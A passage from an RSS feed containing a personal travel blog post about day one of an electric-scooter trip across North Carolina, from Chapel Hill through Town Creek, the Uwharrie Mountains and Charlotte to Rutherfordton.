limit has a noticeable impact on the range. Thankfully, my route pulls me off the highway at the next turn and puts me on slower backroads, so I arrive at the charger with 11% left.&#xA;&#xA;I set my rain gear out to dry, set my stopwatch for 45 minutes and begin walking around in search of a bathroom, coffee, and breakfast. At 8 am on a Friday, I already know my best option is a convenience store/gas station a half-mile up the road. The town of Star is small but oozing with character: from the rail yard to the auto shop to the jail. It feels great to be exploring on foot for a change.&#xA;&#xA;At the convenience store, an older gentleman is scratching off what appears to be an unlimited number of lottery tickets. A younger gentleman ahead of me grabs a coffee and lines his pockets with an innumerable amount of half &amp; half containers. I hit the restroom, grabbed a shitty pre-manufactured pastry and a mediocre cup of coffee, and headed to the park across the street to enjoy them.&#xA;&#xA;Heading to Town&#xA;&#xA;From Star, I head south on Alt 220 through Biscoe and Candor (home of the NC Peach Festival) and eventually onto a 4-mile unpaved road named &#34;Lovin Hill Rd.&#34; There were one or two pucker moments as the road alternated between crushed stone, mud, and sand, but overall it was in good condition. I loved the experience and could not wait for it to end.&#xA;&#xA;I was more mindful about my throttle this time and arrived at Town Creek with plenty of battery left. If I had been low on charge, my plan was to politely ask one of the rangers if I could use one of their external power outlets.&#xA;&#xA;Town Creek is North Carolina&#39;s only state-run park focusing on its Native American heritage. The site was an active village built by people from the Pee Dee culture and occupied from 1150—1400 AD. The villagers abandoned it for unknown reasons before the Europeans landed in North Carolina in 1524. The going theory is that they moved west to the Catawba River.&#xA;&#xA;I&#39;m behind schedule, so I skip the movie, look at their surprisingly thin amount of artifacts, and head out the backdoor to the archeological site. They&#39;ve reconstructed the palisades, a handful of buildings, and the mound. I was a little disappointed in the lack of artifacts shown, but it&#39;s definitely worth checking out if you are in the area.&#xA;&#xA;A prehistoric quarry&#xA;&#xA;Heading Northwest on 73 and 27, I cross over the great Pee Dee River. The river is over 1000ft wide at this point, which allows the Uwharrie Mountains to be visible behind them. The Yadkin River joins the Uwharrie north of here, and the river today has a series of dams and reservoirs that likely contribute to the width.&#xA;&#xA;The Uwharrie Mountains are little known outside of North Carolina but are one of the oldest mountain ranges in the United States. They are at least 20 million years older than the Appalachians and once rose to some 20,000 feet before eroding to just over 1,100 feet. In recent history, the Uwharrie was a famous hideout for Civil War draft dodgers before Zebulon Vance ordered it cleared out.&#xA;&#xA;The Uwharrie Mountains were also volcanically active, resulting in a lot of rhyolite - a social-rich volcanic rock that lends itself to prehistoric tool making. By the time 10,000 BC rolled around, Morrow Mountain, in particular, had been turned into one of America&#39;s oldest rock quarries. If you wanted a sharp arrowhead or spear, it&#39;s gotta be genuine Morrow Mountain Rhyolite. Tools made from this mountain were traded throughout the East Coast and have been found in archeological sites from Maine to Florida.&#xA;&#xA;The roads through Morrow Mountain State Park are gorgeous, and my first taste of mountain twisties is on the BMW CE-04. Initially, I didn&#39;t feel I had precise control of it in the tight turns, but it felt great nonetheless.&#xA;&#xA;Ablemarle: a weird place&#xA;&#xA;Albemarle is a weird-feeling town - it feels far more significant than one would expect for a population of 15,000, with oodles of large government buildings. In retrospect, that makes a lot of sense, given that it is the county seat, albeit a small one. Albemarle is an old textile town with a surprisingly lovely-looking downtown area - but it was devoid of commercial activity, with only a single place open for lunch.&#xA;&#xA;I&#39;m an hour behind schedule, so I get lunch in Albemarle instead of Charlotte and charge up beside the police department and courthouse. On the way to eat, I dodge two police officers and a schizophrenic lady. I first overheard her yelling at the sky while unpacking the bike, so I carefully concealed the side bag with my jacket before walking away from the parking lot.&#xA;&#xA;Fuck Charlotte&#xA;&#xA;I was heading to Charlotte, NC, not because it made sense thematically but because I was meeting two old friends. I was running late, and I got my times a bit mixed up as I use two apps for trip planning:&#xA;&#xA;ABetterRoutePlanner (now owned by Rivian), which takes charging times into account and even recommends chargers along the route but does not know about the current state-of-charge&#xA;&#xA;BMW Motorrad Connected, the only app displayable on the scooter&#39;s massive 10&#34; screen, gives time estimates but neglects to consider charging times or recommend charging stops.&#xA;&#xA;While programming the route in both apps, I initially added a second charging stop in East Charlotte but later removed it from ABRP as it was unnecessary. The time estimate was for that charger rather than the Starbucks.&#xA;&#xA;Once I realized my mistake, reaching the correct destination took me another 15 minutes. Once plugged in, I punched up Starbucks on Google Maps and began walking. It turned out to be the wrong Starbucks, as multiple of them existed at the same intersection. My friend was, in fact, at a 3rd Starbucks elsewhere. The heat was killing me, so I wasn&#39;t going anywhere, and I forced my friend to meet me wherever the fuck I actually was.&#xA;&#xA;Hanging out with friends was great but it also forced me into Charlotte rush hour. Not commuting by anything but bicycle or a metro train for the last 13 years, I forgot that rush hour was a thing. The BMW Connected app helpfully routed me in front of Charlotte&#39;s largest stadium, where folks were lining up for a country music show. The traffic was traumatic in the heat, and a lack of clarification on when and where filtering was allowed had me join in with what the cars were doing. Not being a US citizen, I try my best not to challenge local conventions.&#xA;&#xA;On the way out, I noted the Iswa Nature Preserve on the way out, named after the Catawba tribe of Native Americans who used to live along the nearby river.&#xA;&#xA;Charming Cherryville&#xA;&#xA;The Nav system recommended routing through Cherryville instead of riding through Shelby, so I rode up 274 to do so. The roads were lightly twisty with a light flow to them. As I was within a few hundred feet of a charger, I stopped by for a quick top-off as an insurance policy and an excuse to explore the town. In the parking lot, the welcome committee vehicle awaited me:&#xA;&#xA;The town looked cute, but nothing seemed open, even on a Friday evening. I was in and out of there within 10 minutes.&#xA;&#xA;Rutherfordton: the unpronounceable town&#xA;&#xA;When the GPS announced the name &#34;Rutherfordton&#34;, it sounded like &#34;Rufton,&#34; so I asked a local. She said, &#34;No, that&#39;s not it. It&#39;s Rufton&#34;. It sounded the same to my ears, but perhaps some subtle garbled half-hearted syllables were added in for good measure. Regardless, Rutherfordton was where the Carrier House B&amp;B was and my final destination for the day. I didn&#39;t arrive there until 7:50 pm.&#xA;&#xA;I got to talk at length with the proprietors, who offered to let me park the CE-04 in their garage so that it could be charged overnight. They also pointed me to the Copper Penny Grill, which had a fantastic glazed salmon dish and a great beer selection.&#xA;&#xA;After dinner, I fell asleep quickly. It&#39;d been 14 hours since I had left my driveway, with 260 miles traveled. At least 4 hours were spent charging, but instead of waiting, I wandered around with a camera in hand.&#xA;&#xA;Tomorrow the twisties await.]]&gt;</description>
      <content:encoded><![CDATA[<p>Today began like most days do not: up at 5 am, staring at a scooter in the pouring rain, wondering if this trip was a good idea. Most adventures aren&#39;t, but that hasn&#39;t stopped anyone before.</p>

<p>My favorite personal fault is that when I commit to doing something, I do it regardless if it makes sense or not. Accordingly, I pressed the button to bring the BMW CE-04 to life as thunder reverberated across my recently adopted hometown of Chapel Hill, NC.</p>

<p>Today’s goals were the <a href="https://historicsites.nc.gov/all-sites/town-creek-indian-mound">Town Creek Indian Site</a>, lunch with a friend, and a quaint bed and breakfast in Rutherfordton, NC – some 200 miles direct – but the straightest routes in life are always the dullest.</p>

<h3 id="flashes-floods" id="flashes-floods"><strong>Flashes &amp; Floods</strong></h3>

<p><img src="https://i.snap.as/Git7JMvw.jpg" alt=""/></p>



<p>It is raining absolutely cats, dogs, and wombats. I&#39;m glad I loaded the bike up the night before, even if it means I have to unload the rain jacket and rain pants as the thunder rumbles in the background. In the pitch-black rain, I head, nervous enough that I accidentally trigger ABS before making it out onto the main road. I&#39;m a bit more careful as I wade through downtown Chapel Hill, the UNC campus, and onto 15-501.</p>

<p>As I pull onto the 4-lane highway south toward Pittsboro, the weather intensifies. Lightning is dancing around me in all directions, and the rain hits the road so hard that it splashes back upwards. Visibility is poor: without my brights on, I have difficulty seeing the lane markings, but due to oncoming traffic, they are off most of the time.</p>

<p>Doubts swirl through my head: is this insanity? Is the reason why lightning strikes rarely hit humans because most of them are smart enough to stay home when bolts are visible? Is 1.7mm of tire tread enough to avoid hydroplaning? I pull into a gas station for a moment – if only to put a pair of waterproof socks on.</p>

<p><img src="https://i.snap.as/908kgMec.jpg" alt=""/></p>

<p>If I hang out here for even 30 minutes, it will blow my schedule off course, so after a minute or two, I suck it up and hit the road again. I tell myself that as long as I can make it to my charging stop in Goldston, I can hide under a shelter there and delay for a while.</p>

<p>The strength of the storm pulses in and out. My watch is buzzing with notifications, but at this point, I&#39;m not stopping for anything. Pittsboro is a blur. I turn off onto Highway 902 toward Goldston, glad that I had at least rehearsed this section earlier in the week so that I know that the road conditions are good. I&#39;m thankful that the rain keeps the deer off the road at this hour.</p>

<p>Crossing over George&#39;s Creek, I suddenly hear a loud “whoosh” sound as my front wheel dives through a stream of water that I never saw. As the water smashes the underside of my bike, the sound reminds me of being inside a loud carwash. It hit so hard that my feet could feel the impact reverberate through the battery pack and the rubber footrest. My speed instantly drops from 40mph to 28mph before the “Throttle it out when in doubt” mantra hits, and I leave the overflowing creek behind me.</p>

<p>I&#39;m so regretting my decision to nix purchasing an Insta360 because even in the dark, the crossing must have looked crazy. The rain begins to let up, but I keep things slow afterward anyways.</p>

<p><img src="https://i.snap.as/srelMspT.jpg" alt=""/></p>

<p>I stop off at the <a href="https://www.chathamcountync.gov/government/departments-programs-i-z/library/locations-hours/goldston-library?locale=en">Goldston Library</a> to charge: it&#39;s only 32 miles from home, but it&#39;s precisely on my route, and the next stop is just about at my 65-mile range limit for rural highways. I arrive with 52% – I only need a 5-minute charge to make it to my next stop, but I decided to try waiting out the rain. The library has no covered area, so I hid beneath a tree, and within 25 minutes, the storm finally ended.</p>

<h3 id="star-the-geographic-center-of-the-universe" id="star-the-geographic-center-of-the-universe"><strong>Star: The Geographic Center of the Universe</strong></h3>

<p>With the rain halted, I tear out of the parking lot and notice the dawn coming up behind me. My mood improves.</p>

<p><img src="https://i.snap.as/8TvrzQYq.jpg" alt=""/></p>

<p>I note that with the rain gone, the deer will come out soon to eat once they&#39;ve dried off. I&#39;m scared as hell of deer and take special notice whenever I pass through an area with a forest on one side of the road and a field on the other. If a deer can take out Mr. Safety, it can take me out too.</p>

<p>By the time I hit Highway 24 toward Biscoe, the roads have dried off, and I pick up the pace to make up for lost time. The increasing frequency of signs relating to pottery let me know that I&#39;m not far from Seagrove, AKA the “Pottery Capital of the United States.” Some miles away from my destination of Star, NC, I get a little reminder of the cost of all that extra velocity.</p>

<p><img src="https://i.snap.as/P5nTPA13.jpg" alt=""/></p>

<p>There is that pernicious little formula that says: the energy required to overcome wind resistance is cubic to velocity. On a two-wheeled EV, even going 5mph over the speed limit has a noticeable impact on the range. Thankfully, my route pulls me off the highway at the next turn and puts me on slower backroads, so I arrive at the charger with 11% left.</p>

<p><img src="https://i.snap.as/d2yS5uTJ.jpg" alt=""/></p>

<p>I set my rain gear out to dry, set my stopwatch for 45 minutes and begin walking around in search of a bathroom, coffee, and breakfast. At 8 am on a Friday, I already know my best option is a convenience store/gas station a half-mile up the road. The town of Star is small but oozing with character: from the rail yard to the auto shop to the jail. It feels great to be exploring on foot for a change.</p>

<p><img src="https://i.snap.as/kM6B9Ue4.jpg" alt=""/></p>

<p>At the convenience store, an older gentleman is scratching off what appears to be an unlimited number of lottery tickets. A younger gentleman ahead of me grabs a coffee and lines his pockets with an innumerable amount of half &amp; half containers. I hit the restroom, grabbed a shitty pre-manufactured pastry and a mediocre cup of coffee, and headed to the park across the street to enjoy them.</p>

<p><img src="https://i.snap.as/v65ch9IE.jpg" alt=""/></p>

<h3 id="heading-to-town" id="heading-to-town">Heading to Town</h3>

<p><img src="https://i.snap.as/sSMqcvt4.jpg" alt=""/></p>

<p>From Star, I head south on Alt 220 through Biscoe and Candor (home of the NC Peach Festival) and eventually onto a 4-mile unpaved road named “Lovin Hill Rd.” There were one or two pucker moments as the road alternated between crushed stone, mud, and sand, but overall it was in good condition. I loved the experience and could not wait for it to end.</p>

<p><img src="https://i.snap.as/kOpXG8rp.jpg" alt=""/></p>

<p>I was more mindful about my throttle this time and arrived at Town Creek with plenty of battery left. If I had been low on charge, my plan was to politely ask one of the rangers if I could use one of their external power outlets.</p>

<p>Town Creek is North Carolina&#39;s only state-run park focusing on its Native American heritage. The site was an active village built by people from the Pee Dee culture and occupied from 1150—1400 AD. The villagers abandoned it for unknown reasons before the Europeans landed in North Carolina in 1524. The going theory is that they moved west to the Catawba River.</p>

<p><img src="https://i.snap.as/RQmi77ue.jpg" alt=""/></p>

<p>I&#39;m behind schedule, so I skip the movie, look at their surprisingly thin amount of artifacts, and head out the backdoor to the archeological site. They&#39;ve reconstructed the palisades, a handful of buildings, and the mound. I was a little disappointed in the lack of artifacts shown, but it&#39;s definitely worth checking out if you are in the area.</p>

<h3 id="a-prehistoric-quarry" id="a-prehistoric-quarry">A prehistoric quarry</h3>

<p><img src="https://i.snap.as/POMSt2NH.jpg" alt=""/></p>

<p>Heading Northwest on 73 and 27, I cross over the great Pee Dee River. The river is over 1000ft wide at this point, which allows the Uwharrie Mountains to be visible behind them. The Yadkin River joins the Uwharrie north of here, and the river today has a series of dams and reservoirs that likely contribute to the width.</p>

<p>The Uwharrie Mountains are little known outside of North Carolina but are one of the oldest mountain ranges in the United States. They are at least 20 million years older than the Appalachians and once rose to some 20,000 feet before eroding to just over 1,100 feet. In recent history, the Uwharrie was a famous hideout for Civil War draft dodgers before Zebulon Vance ordered it cleared out.</p>

<p><img src="https://i.snap.as/okaUFscW.jpg" alt=""/></p>

<p>The Uwharrie Mountains were also volcanically active, resulting in a lot of rhyolite – a social-rich volcanic rock that lends itself to prehistoric tool making. By the time 10,000 BC rolled around, Morrow Mountain, in particular, had been turned into one of America&#39;s oldest rock quarries. If you wanted a sharp arrowhead or spear, it&#39;s gotta be genuine Morrow Mountain Rhyolite. Tools made from this mountain were traded throughout the East Coast and have been found in archeological sites from Maine to Florida.</p>

<p>The roads through Morrow Mountain State Park are gorgeous, and my first taste of mountain twisties is on the BMW CE-04. Initially, I didn&#39;t feel I had precise control of it in the tight turns, but it felt great nonetheless.</p>

<h3 id="ablemarle-a-weird-place" id="ablemarle-a-weird-place">Ablemarle: a weird place</h3>

<p><img src="https://i.snap.as/k69DML9i.jpg" alt=""/></p>

<p>Albemarle is a weird-feeling town – it feels far more significant than one would expect for a population of 15,000, with oodles of large government buildings. In retrospect, that makes a lot of sense, given that it is the county seat, albeit a small one. Albemarle is an old textile town with a surprisingly lovely-looking downtown area – but it was devoid of commercial activity, with only a single place open for lunch.</p>

<p>I&#39;m an hour behind schedule, so I get lunch in Albemarle instead of Charlotte and charge up beside the police department and courthouse. On the way to eat, I dodge two police officers and a schizophrenic lady. I first overheard her yelling at the sky while unpacking the bike, so I carefully concealed the side bag with my jacket before walking away from the parking lot.</p>

<h3 id="fuck-charlotte" id="fuck-charlotte">Fuck Charlotte</h3>

<p>I was heading to Charlotte, NC, not because it made sense thematically but because I was meeting two old friends. I was running late, and I got my times a bit mixed up as I use two apps for trip planning:</p>
<ul><li><p><a href="https://abetterrouteplanner.com/">ABetterRoutePlanner</a> (now owned by Rivian), which takes charging times into account and even recommends chargers along the route but does not know about the current state-of-charge</p></li>

<li><p><a href="https://www.bmwmotorcycles.com/en/engineering/connectedride.html#/section-comprehensive-options">BMW Motorrad Connected</a>, the only app displayable on the scooter&#39;s massive 10” screen, gives time estimates but neglects to consider charging times or recommend charging stops.</p></li></ul>

<p>While programming the route in both apps, I initially added a second charging stop in East Charlotte but later removed it from ABRP as it was unnecessary. The time estimate was for that charger rather than the Starbucks.</p>

<p>Once I realized my mistake, reaching the correct destination took me another 15 minutes. Once plugged in, I punched up Starbucks on Google Maps and began walking. It turned out to be the wrong Starbucks, as multiple of them existed at the same intersection. My friend was, in fact, at a 3rd Starbucks elsewhere. The heat was killing me, so I wasn&#39;t going anywhere, and I forced my friend to meet me wherever the fuck I actually was.</p>

<p><img src="https://i.snap.as/j7e8fBKp.jpg" alt=""/></p>

<p>Hanging out with friends was great but it also forced me into Charlotte rush hour. Not commuting by anything but bicycle or a metro train for the last 13 years, I forgot that rush hour was a thing. The BMW Connected app helpfully routed me in front of Charlotte&#39;s largest stadium, where folks were lining up for a country music show. The traffic was traumatic in the heat, and a lack of clarification on when and where filtering was allowed had me join in with what the cars were doing. Not being a US citizen, I try my best not to challenge local conventions.</p>

<p>On the way out, I noted the Iswa Nature Preserve on the way out, named after the Catawba tribe of Native Americans who used to live along the nearby river.</p>

<h3 id="charming-cherryville" id="charming-cherryville">Charming Cherryville</h3>

<p>The Nav system recommended routing through Cherryville instead of riding through Shelby, so I rode up 274 to do so. The roads were lightly twisty with a light flow to them. As I was within a few hundred feet of a charger, I stopped by for a quick top-off as an insurance policy and an excuse to explore the town. In the parking lot, the welcome committee vehicle awaited me:</p>

<p><img src="https://i.snap.as/wL6UmRlB.jpg" alt=""/></p>

<p>The town looked cute, but nothing seemed open, even on a Friday evening. I was in and out of there within 10 minutes.</p>

<p><img src="https://i.snap.as/XkfBrm5E.jpg" alt=""/></p>

<h3 id="rutherfordton-the-unpronounceable-town" id="rutherfordton-the-unpronounceable-town">Rutherfordton: the unpronounceable town</h3>

<p>When the GPS announced the name “Rutherfordton”, it sounded like “Rufton,” so I asked a local. She said, “No, that&#39;s not it. It&#39;s Rufton”. It sounded the same to my ears, but perhaps some subtle garbled half-hearted syllables were added in for good measure. Regardless, Rutherfordton was where the <a href="https://carrierhouses.com/">Carrier House B&amp;B</a> was and my final destination for the day. I didn&#39;t arrive there until 7:50 pm.</p>

<p><img src="https://i.snap.as/Sbllg36A.jpg" alt=""/></p>

<p>I got to talk at length with the proprietors, who offered to let me park the CE-04 in their garage so that it could be charged overnight. They also pointed me to the Copper Penny Grill, which had a fantastic glazed salmon dish and a great beer selection.</p>

<p><img src="https://i.snap.as/0lf0F8xF.jpg" alt=""/></p>

<p>After dinner, I fell asleep quickly. It&#39;d been 14 hours since I had left my driveway, with 260 miles traveled. At least 4 hours were spent charging, but instead of waiting, I wandered around with a camera in hand.</p>

<p><img src="https://i.snap.as/cRG9dZg2.jpg" alt=""/></p>

<p>Tomorrow the twisties await.</p>
]]></content:encoded>
      <guid>https://unfinished.bike/iso-native-lands-day-1-chapel-hill-rutherfordton</guid>
      <pubDate>Sat, 15 Jul 2023 03:55:57 +0000</pubDate>
    </item>
  </channel>
</rss>